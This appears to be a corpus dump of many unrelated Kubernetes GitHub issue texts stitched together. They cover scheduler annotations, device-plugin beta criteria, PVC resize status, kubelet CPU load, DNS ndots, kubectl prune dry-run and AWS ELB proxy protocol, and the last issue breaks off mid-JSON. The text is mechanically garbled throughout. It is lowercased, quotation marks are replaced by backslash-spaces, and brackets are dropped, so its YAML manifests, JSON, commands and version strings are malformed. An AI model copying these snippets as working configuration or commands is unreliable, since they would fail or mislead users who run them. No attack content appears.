is this a bug report or feature request?  : feature request\r \r scheduler should attach an annotation with \ whypending\  key and a json formatted value to unschedulable pods. this annotation will help users and possibly external tools to know why the pod was unschedulable. scheduler  generates such a message  https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/core/generic_scheduler.go l61  already, but it places it as a string in its logs. we should build a josn and annotate the pod as well.\r \r the json should be something like this:\r \r \ totalnodesevaluated\ : 10\r \ nodeundermemorypressure\ : 5\r \ nodeoutofdisk\ : 3\r \ nodenotready\ : 1\r \ podantiaffinityrulesnotmatch\ : 1\r \r  

 \r   what happened  :\r the deviceplugins feature was introduced in 1.8 kubernetes release as an alpha feature.\r since then, we have seen good development work on stabling the feature as well as early adopters on using the framework to support device resources in kubernetes.\r this issue is to track the work requirements of entering this feature into beta.\r fyi, here is list of requirements from the oss kubernetes feature stage doc: https://github.com/kubernetes/community/blob/master/contributors/devel/api_changes.md alpha-beta-and-stable-versions\r \ \ \ \r beta level:\r object versioning: api version name contains beta  e.g. v2beta3 \r availability: in official kubernetes releases, and enabled by default\r audience: users interested in providing feedback on features\r completeness: all api operations, cli commands, and ui support should be implemented; end-to-end tests complete; the api has had a thorough api review and is thought to be complete, though use during beta may frequently turn up api issues not thought of during review\r upgradeability: the object schema and semantics may change in a later software release; when this happens, an upgrade path will be documented; in some cases, objects will be automatically converted to the new version; in other cases, a manual upgrade may be necessary; a manual upgrade may require downtime for anything relying on the new feature, and may require manual conversion of objects to the new version; when manual conversion is necessary, the project will provide documentation on the process\r cluster reliability: since the feature has e2e tests, enabling the feature via a flag should not create new bugs in unrelated features; because the feature is new, it may have minor bugs\r support: the project commits to complete the feature, in some form, in a subsequent stable version; typically this will happen within 3 months, but sometimes longer; releases should simultaneously support two consecutive versions  e.g. v1beta1 and v1beta2; or v1beta2 and v1  for at least one minor release cycle  typically 3 months  so that users have enough time to upgrade and migrate objects\r recommended use cases: in short-lived testing clusters; in production clusters as part of a short-lived evaluation of the feature in order to provide feedback\r \ \ \ \r i think we met most of the requirements here, with the commit that if we need to make incompatible api change in the future, we will document the upgrade path and if necessary, may support multiple api versions in a couple of releases.\r \r things that i think would be nice to have to enter beta  entering beta may not necessary depends on their completeness \r - regarding to the thorough api review requirement, i think we had good discussions during the design proposal but there have been some recent discussions on whether we should use registration vs probe model for the general kubelet plugin communication. i think we should have a general discussion on this topic with larger audience like people working on csi plugins. i will create a fr issue to track this discussion soon.\r - we would like to see multiple device plugin implementations. we know some people have started working on device plugin implementations for solarflare, fpga, and infiniband, and probably want to keep closer track on their progresses.\r \r we would like to target this fr to 1.10. please let us know your thoughts or add things that you think are critical to finish. thanks!\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r gitrepo on windows is not supported yet as git is not built-in on windows host now\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a pod with gitrepo mount on windows\r kubectl create -f https://raw.githubusercontent.com/andyzhangx/demo/master/windows/gitrepo/aspnet-gitrepo.yaml\r \r 2. watch kubectl describe po aspnet-gitrepo\r    \r events:\r   firstseen     lastseen        count   from                    subobjectpath   type            reason                  message\r   ---------     --------        -----   ----                    -------------   --------        ------                  -------\r   1m            1m              1       default-scheduler                       normal          scheduled               successfully assigned aspnet-gitrepo to 36830k8s9000\r   1m            1m              1       kubelet, 36830k8s9000                   normal          successfulmountvolume   mountvolume.setup succeeded for volume \ default-token-g35gn\ \r   1m            1s              8       kubelet, 36830k8s9000                   warning         failedmount             mountvolume.setup failed for volume \ git-volume\  : failed to exec 'git clone https://github.com/andyzhangx/demo.git':\r  : executable file not found in %!! missing p missing ath%!! missing  noverb \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.0\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /assign\r @patricklang for awareness

filing this just in case someone has a clue. i was trying to update  golang.org/x/sys/unix  package in kubernetes and i was using instructions @thockin recently updated in https://github.com/kubernetes/community/blob/master/contributors/devel/godep.md but i found that all the steps are super slow. like 40-50 minutes for restore, 40-50 minutes for save and then about same time for verify.\r \r i am not on bad connection by any means. wondering if this is because  ./run-in-go-path.sh  sets up a new temporary gopath and everything has to be cloned. but that still does not explain why verify etc are super slow as well. \r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r during k8s cluster launch,  etcd-v${etcd_version}-   is checked and if any etcd binary is found regardless of current os distribution, expected etcd binary is not downloaded and etcd soft link is not updated to point desired etcd binary, so cluster creation fails.\r \r   what you expected to happen  :\r along with expected etcd version, os distribution should also be checked for successfully and efficiently installing etcd during setting up local cluster.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1.  checkout k8s codbase on macos and launch cluster.\r 2. map working k8s codebase under virtual machine to launch cluster in vm.\r  cluster creation would fail, prompting error that etcd needs to be installed and update in $path. \ ${kube_root}/third_party/etcd-v${etcd_version}-darwin-  exists but failed to download etcd-v${etcd_version}-linux- \r \r   anything else we need to know?  :\r it's an optimization on managing third_party etcd binary for local cluster setup.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.0-alpha.0.759+4c13f5fdf5e638-dirty\ , gitcommit:\ 4c13f5fdf5e6387f128a1780fc635bb7ad8f99b5\ , gittreestate:\ dirty\ , builddate:\ 2018-06-04t08:38:38z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r server version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.0-alpha.0.759+4c13f5fdf5e638-dirty\ , gitcommit:\ 4c13f5fdf5e6387f128a1780fc635bb7ad8f99b5\ , gittreestate:\ dirty\ , builddate:\ 2018-06-04t08:38:38z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r \r  >  \r  \r \r   what happened  :\r pvc jsonpath={.status.capacity.storage} isn't update after expand  resize  pvc.\r \r \r \r \r   what you expected to happen  :\r after pvc is expended, pvc jsonpath={.status.capacity.storage} must equal to jsonpath={.spec.resources.requests.storage}.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i create storageclass to use rbd volume. this is ceph-sc.yaml\r    \r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata:\r   name: default\r provisioner: kubernetes.io/rbd\r parameters:\r   monitors: 172.16.0.181:6789, 172.16.0.182:6789, 172.16.0.183:6789\r   adminid: admin\r   adminsecretname: ceph-secret\r   adminsecretnamespace: default\r   pool: rbd\r   userid: admin\r   usersecretname: ceph-secret\r   usersecretnamespace: default\r   fstype: ext4\r   imageformat: \ 2\ \r   imagefeatures: layering\r allowvolumeexpansion: true\r    \r \r i create pvc myclaim.yaml  pvc size 3gb .\r    \r $ kubectl get pv,pvc\r name                                                        capacity   access modes   reclaim policy   status    claim             storageclass   reason    age\r persistentvolume/pvc-f8d80182-6ebb-11e8-805c-000c29fa6222   3gi        rwo            delete           bound     default/myclaim   default                  3s\r name                            status    volume                                     capacity   access modes   storageclass   age\r persistentvolumeclaim/myclaim   bound     pvc-f8d80182-6ebb-11e8-805c-000c29fa6222   3gi        rwo            default        10s\r    \r \r $ kubectl get pvc myclaim -oyaml\r    \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   annotations:\r     pv.kubernetes.io/bind-completed: \ yes\ \r     pv.kubernetes.io/bound-by-controller: \ yes\ \r     volume.beta.kubernetes.io/storage-provisioner: kubernetes.io/rbd\r   creationtimestamp: 2018-06-13t03:43:44z\r   finalizers:\r   - kubernetes.io/pvc-protection\r   name: myclaim\r   namespace: default\r   resourceversion: \ 177461\ \r   selflink: /api/v1/namespaces/default/persistentvolumeclaims/myclaim\r   uid: f8d80182-6ebb-11e8-805c-000c29fa6222\r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 3gi\r   storageclassname: default\r   volumename: pvc-f8d80182-6ebb-11e8-805c-000c29fa6222\r status:\r   accessmodes:\r   - readwriteonce\r   capacity:\r     storage: 3gi\r   phase: bound\r    \r \r then, i expand pvc from 3gi to 5gi.\r $ kubectl edit pvc myclaim\r persistentvolumeclaim \ myclaim\  edited\r \r $ kubectl create -f mycliam-pod.yaml\r $ kubectl exec myclaim df\r    \r filesystem           1k-blocks      used available use% mounted on\r overlay               47081000  10253992  36827008  22% /\r tmpfs                  1940248         0   1940248   0% /dev\r tmpfs                  1940248         0   1940248   0% /sys/fs/cgroup\r /dev/rbd0              5029504     20472   4730504   0% /mnt\r /dev/mapper/cl-root   47081000  10253992  36827008  22% /dev/termination-log\r /dev/mapper/cl-root   47081000  10253992  36827008  22% /etc/resolv.conf\r /dev/mapper/cl-root   47081000  10253992  36827008  22% /etc/hostname\r /dev/mapper/cl-root   47081000  10253992  36827008  22% /etc/hosts\r shm                      65536         0     65536   0% /dev/shm\r /dev/mapper/cl-root   47081000  10253992  36827008  22% /run/secrets\r tmpfs                  1940248        12   1940236   0% /var/run/secrets/kubernetes.io/serviceaccount\r tmpfs                  1940248         0   1940248   0% /proc/kcore\r tmpfs                  1940248         0   1940248   0% /proc/timer_list\r tmpfs                  1940248         0   1940248   0% /proc/timer_stats\r tmpfs                  1940248         0   1940248   0% /proc/sched_debug\r tmpfs                  1940248         0   1940248   0% /proc/scsi\r tmpfs                  1940248         0   1940248   0% /sys/firmware\r    \r at this point, my storage in pvc is expanded to new size  5gi \r \r $ kubectl get pv,pvc\r    \r name                                                        capacity   access modes   reclaim policy   status    claim             storageclass   reason    age\r persistentvolume/pvc-f8d80182-6ebb-11e8-805c-000c29fa6222   5gi        rwo            delete           bound     default/myclaim   default                  49m\r \r name                            status    volume                                     capacity   access modes   storageclass   age\r persistentvolumeclaim/myclaim   bound     pvc-f8d80182-6ebb-11e8-805c-000c29fa6222   3gi        rwo            default        50m\r    \r the pv is expand to new size  5gi  but pvc still is 3gi.\r \r $ kubectl get pvc myclaim -oyaml\r    \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   annotations:\r     pv.kubernetes.io/bind-completed: \ yes\ \r     pv.kubernetes.io/bound-by-controller: \ yes\ \r     volume.beta.kubernetes.io/storage-provisioner: kubernetes.io/rbd\r   creationtimestamp: 2018-06-13t03:43:44z\r   finalizers:\r   - kubernetes.io/pvc-protection\r   name: myclaim\r   namespace: default\r   resourceversion: \ 177660\ \r   selflink: /api/v1/namespaces/default/persistentvolumeclaims/myclaim\r   uid: f8d80182-6ebb-11e8-805c-000c29fa6222\r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 5gi\r   storageclassname: default\r   volumename: pvc-f8d80182-6ebb-11e8-805c-000c29fa6222\r status:\r   accessmodes:\r   - readwriteonce\r   capacity:\r     storage: 3gi\r   conditions:\r   - lastprobetime: null\r     lasttransitiontime: 2018-06-13t03:46:20z\r     message: waiting for user to  re- start a pod to finish file system resize of\r       volume on node.\r     status: \ true\ \r     type: filesystemresizepending\r   phase: bound\r    \r $ kubectl get pvc myclaim --output jsonpath={.spec.resources.requests.storage}\r 5gi\r $ kubectl get pvc myclaim --output jsonpath={.status.capacity.storage}\r 3gi\r \r   i get yaml of pvc myclaim again & i found new jsonpath={.status.conditions}.\r i think kubernetes update pvc jsonpath={.status.conditions}. but kubernetes not update pvc jsonpath={.spec.capacity.storage}. why? or i do some think wrong.  \r \r \r   anything else we need to know?  :\r i build kube-controller-manager that install ceph-common package.\r \r   environment  :\r - kubernetes version  use  kubectl version  : kubectl v1.10.4\r - cloud provider or hardware configuration: bare metal  kubeadm \r - os  e.g. from /etc/os-release : \r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r \r - kernel  e.g.  uname -a  : linux m1.service.local 3.10.0-693.21.1.el7.x86_64  1 smp wed mar 7 19:03:37 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm v1.10.4\r - others: ceph luminous 12.2.5 for rbd storageclass\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r @kubernetes/sig-auth-bugs \r \r   what happened  :\r since 8/31 10am, the following test case fails.  it kills kube-controller-manager and waits for it to restart.  however, it seems like kube-controller-manager failed to come back up:\r   sig-storage  nfspersistentvolumes disruptive  flaky  when kube-controller-manager restarts should delete a bound pvc from a clientpod, restart the kube-control-manager, and ensure the kube-controller-manager does not crash  \r \r  testgrid  https://k8s-testgrid.appspot.com/sig-storage gce-flaky \r  logs  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-flaky/20415 \r \r kube-controller-manager failed to come up with this error:\r    \r i0904 17:53:07.775832       1 serving.go:293  generated self-signed cert  /var/run/kubernetes/kube-controller-manager.crt, /var/run/kubernetes/kube-controller-manager.key \r failed to get delegated authentication kubeconfig: failed to get delegated authentication kubeconfig: failed to read token file \ /var/run/secrets/kubernetes.io/serviceaccount/token\ : open /var/run/secrets/kubernetes.io/serviceaccount/token: no such file or directory\r    \r

<!-- this form is for bug reports and feature requests only!\r @k8s-ci-robot \r @k82cn \r @k8s-merge-robot \r @k8s-release-robot \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r yes\r \r > uncomment only one, leave it on its own line:\r >\r >  \r \r \r   what happened  :\r my kubelet utilization runs as high as 400 percent on both master and worker node. i have seen multiple bugs reported on this issue. but the resolve was not clear to a regular user like me. what do i have to do . i just have around 40 containers running on 2 high perormance dell fx2 blades.  none of the previous bugs reported on this, gives any kind of instructions on what to do next, only comments and conversations. or maybe im not smart enough to decipher the workarounds.\r \r   what you expected to happen  :\r kubelet utilization to come down.\r \r   how to reproduce it  as minimally and precisely as possible   :\r already here\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :1.7.3\r - cloud provider or hardware configuration:64 cpus\r - os  e.g. from /etc/os-release :ubuntu 16.04\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r \r the preparation step of the e2e tests were failed sometimes on my local environment like\r    \r failure in spec setup  beforeeach   6.667 seconds \r  sig-storage  pv protection\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/utils/framework.go:22\r   verify \ immediate\  deletion of a pv that is not bound to a pvc  beforeeach \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/pv_protection.go:98\r \r   expected\r       <bool>: false\r   to be true\r \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/pv_protection.go:88\r    \r \r   what you expected to happen  :\r \r these tests can be passed without any errors.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r $ go run hack/e2e.go --provider=skeleton --test --test_args=\ --ginkgo.focus=pv\\sprotection\ \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.13.1\r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release : 16.04.4 lts  xenial xerus \r - kernel  e.g.  uname -a  : 4.4.0-138-generic\r - install tools: kubeadm\r - others:\r

what happened  :\r started a container under a pod using the below in the pod yml\r    \r spec:\r    securitycontext:\r           privileged: true\r    \r i can perform privileged actions in the container and hence it is privileged. but when i query docker to check if it is privileged using the below, it returns false.\r \r  docker inspect --format='{{.id}} {{.hostconfig.privileged}}' <containerid> \r \r   what you expected to happen  :\r the docker inspect command should have returned that the container is privileged. \r \r   how to reproduce it  as minimally and precisely as possible   :\r run any pod with the above security context and use the container id of the containers that come up in the  shared docker inspect command.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client 1.13.4\r server 1.13.4\r \r - os  e.g:  cat /etc/os-release  :\r rhel 7.2\r \r - kernel  e.g.  uname -a  :\r linux 3.10.0-327.el7.x86_64 \r \r - docker version\r   17.09.0-ce\r

what would you like to be added  :\r put non-ignorable extenders ahead of ignorable extenders in genericscheduler extenders\r \r   why is this needed  :\r in genericscheduler processpreemptionwithextenders, we iterate over genericscheduler extenders.\r if an ignorable extender gives error, the error is ignored and loop continues.\r \r it seems we should place non-ignorable extenders ahead of ignorable extenders so that the preemption can bail out early if a non-ignorable extender gives error.

the  pkg/apiserver  package currently has a lot of dependencies:  ! image  https://cloud.githubusercontent.com/assets/3272040/11231144/68cd7aee-8d5a-11e5-93d7-efa82fa03822.png   this is problematic because we would like to use the apiserver library on the kubelet to host the  metrics api group  https://github.com/kubernetes/kubernetes/blob/master/docs/proposals/compute-resource-metrics-api.md .  fortunately, there is lots of low hanging fruit, and many dependencies can be removed by splitting some packages. once these cases are addressed, we should identify any particularly problematic packages that remain, and make the necessary refactorings to extract those dependencies.  finally, we should introduce a  forbiddendepstest  which will specify tests as a list of  package,   forbidden  pairs, and verify that  package  does not depend  directly or indirectly  on the forbidden packages.

validate output: name                 status      message   error controller-manager   healthy     ok        nil scheduler            healthy     ok        nil etcd-0               unhealthy   {\ health\ : \ false\ }                      unhealthy http status code: 503  503 service unavailable  cluster validation succeeded

the  kubectl create secret generic  command let's a user specify a type for the secret.  it defaults to  opaque .    the kube server supports a set of known secret types with specific behaviors.  the client could support checking that the user specified secret type is one of the known types that are specified in  kubernetes  by default, and if it is not, require the client to pass a   --confirm  flag to ack that they were not just making a typo. - pros   - makes user less prone to fat fingering the type - cons   - third-parties may define new types of secrets so central management of names may not be desirable

there is a plugin that seems able to do this, linked from fluent::plugin::elasticsearch:  https://github.com/atomita/fluent-plugin-aws-elasticsearch-service  cc: @a-robinson @jimmidyson

this is a sub task of making apiserver reusable.  https://github.com/kubernetes/kubernetes/blob/0798915490fa60137f8239fd62003516537f3917/pkg/master/master.go l650  some things ought to be moved to a general setup function in apiserver. - enableprofiling - cors   i just found this draft sitting in a tab, unfiled. i hope it is still accurate.

defining multiple cephfs volumes in a pod stalls the container creation because of volume attachment time out.  also this ends up in data loss on cephfs, the paths specified on the manifest  in the cephfs volume definition   get cleared up on cephfs leaving an empty dir...

hi,  i looked for a way to upgrade kubernete on aws but i didn't find one.

bug report:\r \r   kubernetes version    use  kubectl version  :\r kubernetes v1.3.5+coreos.0,\r kube-dns add-on v19 from gcr.io/google_containers/kubedns-amd64:1.7\r \r   environment  :\r -   cloud provider or hardware configuration  : on-premise vms\r -   os    e.g. from /etc/os-release : ubuntu xenial\r -   kernel    e.g.  uname -a  : 4.4.0-38-generic\r -   install tools  : kube-dns add-on v19 from gcr.io/google_containers/kubedns-amd64:1.7\r -   others  :\r \r   what happened  :\r ndots:5 is hardcoded to the containers' base /etc/resolv.conf by kubelet running with --cluster_dns, --cluster_domain, --resolv-conf=/etc/resolv.conf flags.\r \r   what you expected to happen  :\r ndots should be configurable via the kubedns app definition or a configmap to allow users to chose if skydns shall be attempting absolute domains or utilizing the search domains, f.e.:\r \r    \r         args:\r           command = \ /kube-dns\ \r         - --domain=cluster.local.\r         - --ndots=5\r         - --dns-port=10053\r    \r \r afaict, dns srv records expect ndots:7, thus will fail to resolv via skydns  or maybe not! https://github.com/kubernetes/kubernetes/issues/33554 issuecomment-251870060 \r also, this might affect dns performance by generating undesired additional resolve queries for suggested search subdomains before actually trying the absolute domain, when a number of dots in the initial query exceeds the given ndots threshold.\r \r   how to reproduce it    as minimally and precisely as possible :\r deploy kube dns cluster add-in, check containers' /etc/resolv.conf within pods\r \r   anything else do we need to know  :\r this is rather a docs issue, see https://github.com/kubernetes/kubernetes/pull/35525 issuecomment-257919311 for details and please address that in docs.

we need to export node and pod level metrics from kube-system daemons to heapster, so they eventually get ingested into the clouds. this is required for debugging systems in production.  we seem to have more than 1 metrics pipeline today. the one that seems immediately usable is:  heapster -> kubelet  -> cadvisor -> custom-metrics config-map -> pods  where \ custom-metrics config-map\  is a bridge from pod metrics  http endpoints  to cadvisor, eg: http://kubernetes.io/docs/user-guide/horizontal-pod-autoscaling/ pod-configuration  but according to the doc, this would require a hostport per pod, which doesn't scale.  @kubernetes/sig-node @davidopp  what's the best way to do this?   or should we just write our own little helpers that scrape daemon specific prometheus endpoints and push to cloud for now?

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  ---    is this a bug report or feature request?    choose one :  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  :    environment  : -   cloud provider or hardware configuration  : -   os    e.g. from /etc/os-release : -   kernel    e.g.  uname -a  : -   install tools  : -   others  :    what happened  :  when we call the main function  app.run s ,at the beginning, we get the 'genericconfig' by \ genericconfig := genericapiserver.newconfig  . // create the new config                             applyoptions s.serverrunoptions . // apply the options selected                             complete   \  here we call the function \  c  config  complete  \ , and then,we get the struct master by \ m, err := config.complete  .new  \ ,in the function config.complete  ,we also call \ c.genericconfig.complete  \ . maybe we could remove the latter one, is my understanding right?    what you expected to happen  :  we call the function \  c  config  complete  \  once    how to reproduce it    as minimally and precisely as possible :    anything else do we need to know  :

is this a bug report or feature request?    choose one : bug report\r \r   what happened  :\r after  35806 goes in, the addobjectparams call in api_installer.go will ignore pointers to structs, and pointers to interfaces. this relies on the go type of the struct's fields. the correct behavior is to not care about the go type, and to care about the serialized type instead.  35806 needed a workaround for unversioned.time, but the issue should be fixed in a more generic way eventually.

in order to make the tests federation e2e tests dependable and faster, we need to stop registering and deregistering clusters in each tests. at least for the parallel tests, we should move these steps out of the individual test's  beforeeach/aftereach  block to federation-up.sh.\r \r this is part of an effort to make the federation e2e tests parallelizable. issue  40765.\r \r cc @kubernetes/sig-federation-bugs @shashidharatd

i create a deployment with 5 pods, the requirement is that each application in each pod needs an unique identification such as pod-1, pod-2, pod-3, pod-4, pod-5 .  statefulset is not suitable，because pods couldn't be rescheduled when the node is notready.  is there any ways to achieve this ?

https://k8s-testgrid.appspot.com/sig-storage gce-multizone\r \r /assign\r  

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r  kubectl --context context-name apply -f config-dir/ --prune -l label=value --dry-run=true \r the dry run output listed all the resources that would be configured: deployments, hpas, services, and an ingress:\r  type/name configured  dry run  \r this was expected. however, it then listed all resources again  except for the hpas  as being pruned:\r  type/name pruned  dry run  \r the config was then applied with:\r  kubectl --context context-name apply -f config-dir/ --prune -l label=value \r as expected, no resources were actually pruned.\r \r   what you expected to happen  :\r  kubectl --prune --dry-run  should actually display which resources are going to be pruned.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. add a  deployment  yaml file to  config-dir  with  metadata.labels.label=value \r 2. deploy it:  kubectl apply -f config-dir/ \r 2. dry run + prune:  kubectl apply -f config-dir/ --prune -l label=value --dry-run=true \r 3. it should be listed as both configured and pruned\r 4. deploy it again with pruning:  kubectl apply -f config-dir/ --prune -l label=value \r 5. observe that the deployment is configured but not pruned, even though the dry run said it would be.\r \r   anything else we need to know?  :\r was trying to write a devops script that gave a warning before any resources would be pruned.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:17:28z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.6-gke.1\ , gitcommit:\ ee18aa41359293b5c9c7e13a35697690491736c9\ , gittreestate:\ clean\ , builddate:\ 2018-08-08t18:09:40z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : \r  lubuntu 18.04 \r    \r name=\ ubuntu\ \r version=\ 18.04 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r    \r - kernel  e.g.  uname -a  :\r    \r linux  redacted  4.15.0-20-generic  21-ubuntu smp tue apr 24 06:16:15 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:  apt \r - others:  gcloud \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r proxy protocol is enabled on aws elb using   service.beta.kubernetes.io/aws-load-balancer-proxy-protocol: \  \     on eks cluster but client ip is not preserved by proxy protocol\r \r   what you expected to happen  :\r client ip should be preserved by proxy protocol. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. on eks create a deployment.   basically my app uses port 4334 \r 2. create a classic loadbalancer with proxy protocol enabled using   service.beta.kubernetes.io/aws-load-balancer-proxy-protocol: \  \    for container port 4334 and load balancer listener port 4334.\r 3. try to connect to app using loadbalancer listener 4334.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.0\ , gitcommit:\ ddf47ac13c1a9483ea035a79cd7c10005ff21a6d\ , gittreestate:\ clean\ , builddate:\ 2018-12-03t21:04:45z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.5-eks-6bad6d\ , gitcommit:\ 6bad6d9c768dc0864dab48a11653aa53b5a47043\ , gittreestate:\ clean\ , builddate:\ 2018-12-06t23:13:14z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: aws eks\r - os  e.g. from /etc/os-release :ami \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r loadbalancer config\r \ loadbalancerdescriptions\ :  \r     {\r         \ subnets\ :  \r             \ subnet-1\ ,\r             \ subnet-2\ ,\r             \ subnet-2\ \r          ,\r         \ canonicalhostedzonenameid\ : \       \ ,\r         \ canonicalhostedzonename\ : \              \ ,\r         \ listenerdescriptions\ :  \r             {\r                 \ listener\ : {\r                     \ instanceport\ : 31431,\r                     \ loadbalancerport\ : 4334,\r                     \ protocol\ : \ tcp\ ,\r                     \ instanceprotocol\ : \ tcp\ \r                 },\r                 \ policynames\ :   \r             }\r          ,\r         \ healthcheck\ : {\r             \ healthythreshold\ : 2,\r             \ interval\ : 10,\r             \ target\ : \ tcp:31499\ ,\r             \ timeout\ : 5,\r             \ unhealthythreshold\ : 6\r         },\r         \ vpcid\ : \ vpc-           \ ,\r         \ backendserverdescriptions\ :  \r             